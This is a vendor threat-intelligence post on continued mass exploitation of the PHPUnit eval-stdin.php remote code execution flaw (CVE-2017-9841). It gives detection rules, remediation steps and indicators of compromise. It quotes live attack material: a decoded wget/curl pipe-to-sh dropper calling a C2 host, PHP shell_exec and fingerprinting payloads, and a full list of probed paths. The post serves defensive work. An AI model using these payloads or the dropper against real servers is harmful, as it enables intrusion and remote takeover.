Go back

9 Year-Old PHP Vulnerability Keeps Swinging As One of the Most Targeted Vulnerabilities

ND

Neal Dennis

in/myprofiledennis

CVE: CVE-2017-9841 | CVSS: 9.8 Critical | EPSS: 94.2% (99.9th percentile)


Some vulnerabilities get patched, forgotten, and fade into the historical record. CVE-2017-9841 is not one of them.

Nearly a decade after PHPUnit's eval-stdin.php file was identified as a trivially exploitable remote code execution vector, VulnCheck Canary data shows the vulnerability is one of the most actively targeted in our systems, with over 80,000 exploitation attempts detected in the last 30 days across our global Canaries network, and more than 36,500 hits in just the last 10 days. Attackers haven't moved on. If anything, the scanning infrastructure has grown more sophisticated.

This post breaks down what's happening, who's scanning, how the attack works, and what defenders should do about it in 2026.

This report is based on data from the last 30 days, ending 11 May.


What Is CVE-2017-9841?

CVE-2017-9841 is a remote code execution vulnerability in PHPUnit, the widely used PHP testing framework. It was disclosed in June 2017 and affects versions prior to 4.8.28 and 5.x before 5.6.3.

The vulnerability exists in a file called eval-stdin.php, located at:

vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

This file was included in PHPUnit for testing purposes and contains a single, devastating line:

eval('?>' . file_get_contents('php://input'));

When an attacker sends a POST request to this file with PHP code in the request body, the server executes it with no authentication required, no special headers needed. It's about as clean an RCE as you'll find.

The root cause isn't a subtle logical flaw or a memory corruption bug. It's a testing utility that was never meant to be exposed to the internet, shipped inside a Composer dependency, and left accessible in production environments that failed to exclude development dependencies from their deployment artifacts.


VulnCheck Canary Data: What We're Seeing Right Now

VulnCheck Canaries are purpose-built devices designed to detect real-world exploitation attempts against known vulnerabilities. Over the past 30 days, our Canaries have logged 80,119 CVE-2017-9841 exploitation attempts, all matching the signature VULNCHECK PHPUnit CVE-2017-9841 Exploit Attempt.

In the last 10 days alone, that number stands at 36,543 hits — indicating sustained, ongoing campaign activity rather than a one-time burst.

Botnet Infrastructure

The majority of observed traffic is originating from a small number of IPs, with the most active being:

Source IPASNCountryNotable
185.38.148.2AS25369 – Hydra Communications LtdUnited KingdomPrimary scanner
66.179.137.126AS8560 – IONOS SEUnited StatesSecondary scanner

IP 185.38.148.2 is particularly active and this host is not exclusively targeting CVE-2017-9841. Our Canary logs show the same IP simultaneously probing for CVE-2022-47945 (ThinkPHP RCE), CVE-2024-4577 (PHP CGI argument injection), and CVE-2021-41773 (Apache path traversal RCE). This is mass-scanning infrastructure running a multi-exploit playbook against any reachable web server.

Path Enumeration

What makes these scans notable is the exhaustive path enumeration. Rather than checking a single well-known location, attackers are probing dozens of framework-specific paths in sequence, reflecting a thorough understanding of how PHP projects are structured:

/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/wordpress/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
... (30+ paths per scan session)

This breadth means the scanner is optimized to find PHPUnit in non-standard installation locations, not just the obvious /vendor/ root but nested under application subdirectories, framework scaffolding, and common alias paths. A typical scan session hits 20–30 paths in rapid succession.

VulnCheck-Observed Payloads

The POST payloads observed include:

  • Shell downloads: Fetching remote shell scripts via wget or curl from attacker-controlled infrastructure (e.g., https://125.135.169.171/sh) and executing them
  • PHP webshell probing: Using <?php shell_exec(base64_decode(...)) to execute encoded commands, often including credential theft or pivoting scripts
  • Fingerprinting: Some payloads use echo(md5("Hello CVE-2024-4577")) style responses to verify code execution before deploying more aggressive payloads
  • Multi-CVE chaining: The same connection bundle includes attempts against CVE-2024-4577 (PHP CGI) and CVE-2017-9841 simultaneously, suggesting the tooling probes multiple PHP attack vectors in a single connection sweep

Why Is This Still Happening in 2026?

This is the real question. The vulnerability was patched in mid-2017. CISA added it to the Known Exploited Vulnerabilities catalog in February 2022. It carries an EPSS score of 94.2% — placing it in the 99.9th percentile of all CVEs by exploitation probability.

So why are attackers still finding victims?

1. Composer Dependencies Don't Self-Clean

PHPUnit is a development dependency. It's listed in composer.json under require-dev, not require. The intended deployment pattern is to run composer install --no-dev in production, which excludes testing dependencies including PHPUnit.

In practice, many deployments skip this step. Teams run composer install without the --no-dev flag during CI/CD pipelines that also serve production environments. Or they install with dev dependencies for debugging, and those files never get removed. The vendor/ directory ends up in production with eval-stdin.php intact and web-accessible.

2. The Vendor Directory Gets Web-Served

PHP applications running on Apache or Nginx often serve the entire project directory, including vendor/. Unless there's an explicit server rule blocking access to vendor/phpunit/, the file is reachable at a predictable URL.

3. Legacy Codebases Don't Get Updated

Many PHP applications are maintained by small teams or individuals who installed dependencies years ago and haven't revisited them. The underlying application may be working fine, so no one updates PHPUnit from 4.x to a patched version. The dependency stays frozen, vulnerable, and accessible.

4. The Attack Tool Ecosystem Is Mature

Our exploit intelligence index shows 18 public exploits for CVE-2017-9841, including dedicated mass-scanners (phpunit-brute, laravel-phpunit-rce-masscaner, PHPUnit-GoScan), Nuclei templates, Metasploit modules, and a weaponized initial-access module. The barrier to running this scan is approximately zero.


Botnet Attribution

VulnCheck's exploit intelligence data shows CVE-2017-9841 has been leveraged by several botnets including RondoDox, Kinsing, KashmirBlack, Sysrv and Androxgh0st. Persistent Botnet activity was first observed in 2020 and remains active as recently as May 2026. This is not opportunistic one-off scanning — it's embedded in the standing playbooks of criminal infrastructure that systematically sweeps the internet for exploitable PHP applications.


Detection

What to look for in web server logs:

POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST /*/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

Any POST request to a path containing phpunit and eval-stdin.php is a red flag regardless of response code. A 200 OK indicates successful exploitation. A 404 means the file wasn't found — but your system may still be vulnerable if the file exists elsewhere.

Network-level indicators:

  • User-agent: libredtail-http (observed in current campaigns)
  • PHP webshell beaconing to 125.135.169.171 (observed C2 in active payloads)
  • High-frequency sequential requests to 20+ phpunit paths from a single IP

SIEM/WAF rules to add:

uri_path contains "eval-stdin.php" AND request_method = "POST"
uri_path contains "phpunit" AND uri_path contains "Util/PHP"

Remediation

If you run PHP applications:

  1. Audit your vendor directory. Check whether vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php exists on any internet-facing server. If it does, you have a problem regardless of whether you've been exploited.
  2. Redeploy without dev dependencies. Run composer install --no-dev in all production environments and remove the existing vendor/ directory before reinstalling.
  3. Block web access to vendor/. Add server-level rules to deny HTTP access to your vendor/ directory entirely. This should be standard practice regardless of PHPUnit.
    Nginx:
    location ~* /vendor/ {
        deny all;
        return 403;
    }
    

    Apache (.htaccess or server config):
    <DirectoryMatch "vendor">
        Require all denied
    </DirectoryMatch>
    
  4. Update PHPUnit. If you need PHPUnit in your environment, use version 4.8.28+ or 5.6.3+, where this file was removed.
  5. Check for indicators of compromise. If the file was present and accessible, review access logs for POST requests to eval-stdin.php. Any 200-series responses warrant a full incident response investigation.

Conclusion

CVE-2017-9841 is a case study in the persistence of simple vulnerabilities. There's nothing technically sophisticated about it, a PHP eval() call on user-supplied input is about as elementary a vulnerability class as exists. But elementary vulnerabilities in widely-deployed software, packaged inside dependency managers and exposed by deployment misconfigurations, have an extraordinary shelf life.

The VulnCheck Canary data makes one thing clear: attackers are still finding and exploiting this. The scanning infrastructure is active, organized, and running multi-exploit campaigns that treat CVE-2017-9841 as a reliable component of a web application compromise playbook alongside much newer vulnerabilities.

After nine years, the fix is the same as it was in 2017: don't ship your test dependencies to production, and don't web-serve your vendor directory. The attackers are counting on the fact that many teams still haven't gotten there.


IOCs Below

⚠️ Warning: All IPs and domains below have been observed conducting active exploitation attempts against CVE-2017-9841. Block or alert on these indicators at your perimeter, WAF, and SIEM. Interact with C2 infrastructure at you own risk.


Scanner IPs

IPs directly observed sending exploitation payloads to VulnCheck Canaries.

IP AddressASNAS NameCountryObserved Activity
185.38.148.2AS25369Hydra Communications Ltd🇬🇧 United KingdomMass scanner — PHPUnit RCE + ThinkPHP RCE + PHP CGI + Apache path traversal
66.179.137.126AS8560IONOS SE🇺🇸 United StatesPHPUnit RCE scanner — exhaustive path enumeration
116.99.50.13AS7552Viettel Group🇻🇳 VietnamPHPUnit RCE — shell_exec + encoded C2 dropper
167.86.88.40AS51167Contabo GmbH🇫🇷 FrancePHPUnit RCE — wget/curl C2 downloader (apache.selfrep tag)
83.168.88.41AS35179Korbank S.A.🇵🇱 PolandPHPUnit RCE — wget/curl C2 downloader (apache.selfrep tag)

Note on Cloudflare IPs: Several Cloudflare egress IPs (104.23.225.154, 104.23.225.155, 104.23.229.65, 141.101.68.221, 141.101.97.102, 172.68.151.20, 172.68.151.21, 172.71.122.170, 172.71.126.163, 172.71.135.24, 172.71.232.146) were observed making curl/8.7.1 requests to PHPUnit paths. These are likely Cloudflare Workers proxying attacker traffic. Block the specific paths rather than the IPs for these.


C2 / Payload Delivery Infrastructure

IPs and URLs found within exploitation payloads — these are attacker-controlled infrastructure used to deliver second-stage shells.

TypeIndicatorNotes
IP125.135.169.171Primary C2/dropper host — observed in payloads from multiple source IPs
IP185.177.72.51Secondary C2 IP — observed in payload decode
IP185.177.72.68Secondary C2 IP — observed in payload decode
URLhttps://125.135.169.171/shShell download endpoint — fetched via wget/curl and piped to sh

Decoded dropper command (base64 payload observed in live exploitation):

(wget --no-check-certificate -qO- https://125.135.169.171/sh || curl -sk https://125.135.169.171/sh) | sh -s cve_2024_4577.selfrep

The cve_2024_4577.selfrep argument tag indicates this dropper self-replicates and is part of a broader campaign simultaneously exploiting CVE-2024-4577 (PHP CGI RCE).


HTTP Indicators

User Agents

User AgentNotes
libredtail-httpPrimary scanner UA — observed in 90%+ of PHPUnit hits
curl/8.7.1Secondary scanner UA — associated with Cloudflare-proxied requests

Request Method & Body Patterns

All exploitation attempts use HTTP POST to the target paths with PHP code in the request body.

Fingerprinting payloads (used to confirm RCE before deploying full dropper):

<?php echo(md5("Hello PHPUnit"));
<?php echo md5('phpunit_rce'); ?>

Shell execution payload pattern:

<?php shell_exec(base64_decode("<base64_encoded_dropper>")); echo(md5("Hello CVE-2024-4577")); ?>

VulnCheck Signature

Signature IDSignature Name
12700264VULNCHECK PHPUnit CVE-2017-9841 Exploit Attempt

URL Paths Targeted

All 30 unique paths observed in active scanning campaigns. Attackers enumerate all of these in a single session to find PHPUnit in non-standard installation locations.

/V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/lib/phpunit/src/Util/PHP/eval-stdin.php
/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/phpunit/src/Util/PHP/eval-stdin.php
/public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/vendor/phpunit/src/Util/PHP/eval-stdin.php
/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

Exploit Tools & Public Resources

Public exploit tooling observed or tracked by VulnCheck for CVE-2017-9841. These are documented for defensive awareness.

Tool / ResourceSourceTypeNotes
phpunit-bruteGitHubMass scannerPython-based brute-force scanner
PHPUnit_eval-stdin_RCEGitHubPoC exploitPython RCE script
laravel-phpunit-rce-masscanerGitHubMass scannerLaravel-specific path enumeration
CVE-2017-9841 (akr3ch)GitHubPoC exploitPython
CVE-2017-9841 (p1ckzi)GitHubPoC exploitShell script
CVE-2017-9841 (jax7sec)GitHubPoC exploitPython
eval-stdin (mileticluka1)GitHubPoC exploitRuby
CVE-2017-9841 (dream434)GitHubPoC exploitPython
CVE-2017-9841 (MrG3P5)GitHubPoC exploitPython
CVE-2017-9841 (Chocapikk)GitHubPoC exploitPython
Argus (joelindra)GitHubMulti-vuln scannerCVE-2017-9841 module
PHPUnit-GoScan (drcrypterdotru)GitHubMass scannerGo-based, added Aug 2025
PHPUnit-GoScan (Habibullah1101)GitHubMass scannerGo-based fork, added Sep 2025
ExploitDB #50702Exploit-DBPoC exploitPHPUnit 4.8.28 RCE (unauthenticated)
VulnCheck Initial AccessVulnCheckWeaponizedCommercially available weaponized module (April 2024+)
Nuclei TemplateProjectDiscoveryDetectionYAML detection template

CVE Metadata & Intelligence Summary

FieldValue
CVE IDCVE-2017-9841
Affected SoftwarePHPUnit < 4.8.28, PHPUnit 5.x < 5.6.3
Vulnerability TypeRemote Code Execution (Unauthenticated)
Attack VectorNetwork — HTTP POST to exposed eval-stdin.php
CVSS Score9.8 Critical
EPSS Score94.21% (99.9th percentile)
NVD PublishedJune 27, 2017
First Exploit PublishedMay 18, 2020
First Botnet ActivityNovember 22, 2020
Total Public Exploits (VulnCheck)18
Tracked Botnets (VulnCheck)5

References


About VulnCheck

VulnCheck is helping organizations not just to solve the vulnerability prioritization challenge - we’re working to help equip any product manager, CSIRT/PSIRT or SecOps team and Threat Hunting team to get faster and more accurate with infinite efficiency using VulnCheck solutions.

We knew that we needed better data, faster across the board, in our industry. So that’s what we deliver to the market. We’re going to continue to deliver key insights on vulnerability management, exploitation and major trends we can extrapolate from our dataset to continuously support practitioners.

Are you interested in learning more? If so, VulnCheck's Exploit & Vulnerability Intelligence has broad threat actor coverage. Register and demo our data today.

Ready to get Started?

Explore VulnCheck, a next-generation Cyber Threat Intelligence platform, which provides exploit and vulnerability intelligence to help you prioritize and remediate vulnerabilities that matter.
  • Vulnerability Prioritization
    Prioritize vulnerabilities that matter based on the threat landscape and defer vulnerabilities that don't.
  • Early Warning System
    Real-time alerting of changes in the vulnerability landscape so that you can take action before the attacks start.